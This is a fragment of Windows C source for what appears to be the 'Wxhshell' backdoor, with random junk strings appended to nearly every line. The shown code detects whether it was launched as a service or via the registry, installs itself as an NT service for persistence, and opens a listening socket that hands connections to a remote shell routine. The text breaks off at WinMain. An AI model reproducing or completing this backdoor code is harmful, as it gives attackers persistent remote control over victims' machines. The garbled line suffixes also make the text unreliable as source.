ULONG UniqueProcessId; S5W*,?
ULONG InheritedFromUniqueProcessId; )225ee>
} PROCESS_BASIC_INFORMATION; ~ e4Pj`?=K
OjUZ-_J
PROCNTQSIP NtQueryInformationProcess; !='?+Ysxs
%]zaX-2dm!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $jL{l8x
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dCF!.
=xa:>Vh#
HANDLE hProcess; rTgCmr'&
PROCESS_BASIC_INFORMATION pbi; W6d[v/+K+
}qa8o
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !@r1B`]j+"
if(NULL == hInst ) return 0; t81}jD
O!3MXmaO
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bm &$wf
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); vp4l g1/
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); EEU)eltI
EqN_VT@
if (!NtQueryInformationProcess) return 0; ";&5@H|
\KGi54&Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sI@y)z
if(!hProcess) return 0; 3Pj 6(cf
A`Nk gVq5:
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :z^VI M
xUiSAKrcM
CloseHandle(hProcess); h=fzX.dt
(sXR@Ce$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VdVUYp
if(hProcess==NULL) return 0; 0E6tH&
;>
DvBL#iC
HMODULE hMod; Jj_ t0"
char procName[255]; D9cpw0{nc
unsigned long cbNeeded; .+;;-]})
Y"x9B%e
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gCVgL]jj(
y)s+ /Teb
CloseHandle(hProcess); *~t&Ux#hj
|6M:JI8
if(strstr(procName,"services")) return 1; // 以服务启动 u@;6r"8q
LQ7.RK
return 0; // 注册表启动 Xx=jN1=,
} O0"u-UX{
: J3_g<@
// 主模块 LSR{N|h+)
int StartWxhshell(LPSTR lpCmdLine) +/bT4TkML
{ yX%Xjo__*t
SOCKET wsl; !`3q9RT3."
BOOL val=TRUE; XS L*e
int port=0; 9]{(~=D7
struct sockaddr_in door; , ;'y <GA
\c"{V-#o\
if(wscfg.ws_autoins) Install(); %Km^_JM
oVG/[e|c'
port=atoi(lpCmdLine); /M}jF*5N
69z,_p$@:
if(port<=0) port=wscfg.ws_port; w?r
Zj(2$9IU
WSADATA data; |;G9K`8
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; rF/k$_bFt
M<4tjVQ6
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 9^ DXw!
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W?`%it5
door.sin_family = AF_INET; w^_[(9
`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^
#6Ei9di
door.sin_port = htons(port); d".Xp4}f
gPo3jw o$
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |#y+iXTJ
closesocket(wsl); z'FpP
return 1; E{Tvjh+
} _{eH"
,(
>uu]K
if(listen(wsl,2) == INVALID_SOCKET) { z A ~aiX
closesocket(wsl); :o)4Y
return 1; l,I[r$TCf
} 8&g`Uy/b
Wxhshell(wsl); lg9`Z>?
WSACleanup(); 9S.J%*F7
;tBc&LJ?
return 0; Lrr1) h
$Ur-Q d
} wM]j#
0R#T 3K}
// 以NT服务方式启动 I;Sg9`k=
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %yVboA1
{ h#Z5vH
DWORD status = 0; .L#xX1qr
DWORD specificError = 0xfffffff; @@?P\jv~
L.cGt"{
serviceStatus.dwServiceType = SERVICE_WIN32; ~{8X$xs
serviceStatus.dwCurrentState = SERVICE_START_PENDING; ,%bG]5
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yv!r>\#0S
serviceStatus.dwWin32ExitCode = 0; Za*QX|
serviceStatus.dwServiceSpecificExitCode = 0; P5qY|_
serviceStatus.dwCheckPoint = 0; q|;Sn
serviceStatus.dwWaitHint = 0; #o(c=
VGHy|5K$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @T
}p.
if (hServiceStatusHandle==0) return; ?3I93Bt7
F!LVyY"w
status = GetLastError(); -W#-m'Lvu
if (status!=NO_ERROR) 'Q^P#<<
{ l2AAEB_C.
serviceStatus.dwCurrentState = SERVICE_STOPPED; e=8z,.Xk
serviceStatus.dwCheckPoint = 0; &fyT}MA
serviceStatus.dwWaitHint = 0; |uT&M`7\{
serviceStatus.dwWin32ExitCode = status; +2ZBj6 e9
serviceStatus.dwServiceSpecificExitCode = specificError; &!adW@y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;;*'<\lP.j
return; Q>G lA
} 1L4-hYtCj
!oJ226>WI
serviceStatus.dwCurrentState = SERVICE_RUNNING; ^GyGh{@,f
serviceStatus.dwCheckPoint = 0; $bGe1\
serviceStatus.dwWaitHint = 0; kVH^(Pi
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); r"%uP[H
} bG'"l qn
5bfd8C
// 处理NT服务事件,比如:启动、停止 8,5H^Bi
VOID WINAPI NTServiceHandler(DWORD fdwControl) N?RJuDW
{ ]+OHxCj:
switch(fdwControl) hj8S".A_
{ #fuc`X3:HL
case SERVICE_CONTROL_STOP: >z,SN
serviceStatus.dwWin32ExitCode = 0; !%1=|PX_
serviceStatus.dwCurrentState = SERVICE_STOPPED; pejG%pJ
serviceStatus.dwCheckPoint = 0; m^9[k,;K
serviceStatus.dwWaitHint = 0; [pc6!qhDG&
{ W@T_-pTCjK
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ThvVLK
} e%B;8)7
return; ~&UfnO
case SERVICE_CONTROL_PAUSE: tW=,o&C=
serviceStatus.dwCurrentState = SERVICE_PAUSED; +Vf39}8
break; _:0)uR LS
case SERVICE_CONTROL_CONTINUE: aCwb[7N
serviceStatus.dwCurrentState = SERVICE_RUNNING; hv6w=?7
break; 8.g(&F
case SERVICE_CONTROL_INTERROGATE: +FYQ7UE
break; ^T{ww=/v
}; =LUDg7P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); R3[H#*gF<
} AzfYw'^&9
/IkSgKJiz\
// 标准应用程序主函数 %. zcE@7*
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^<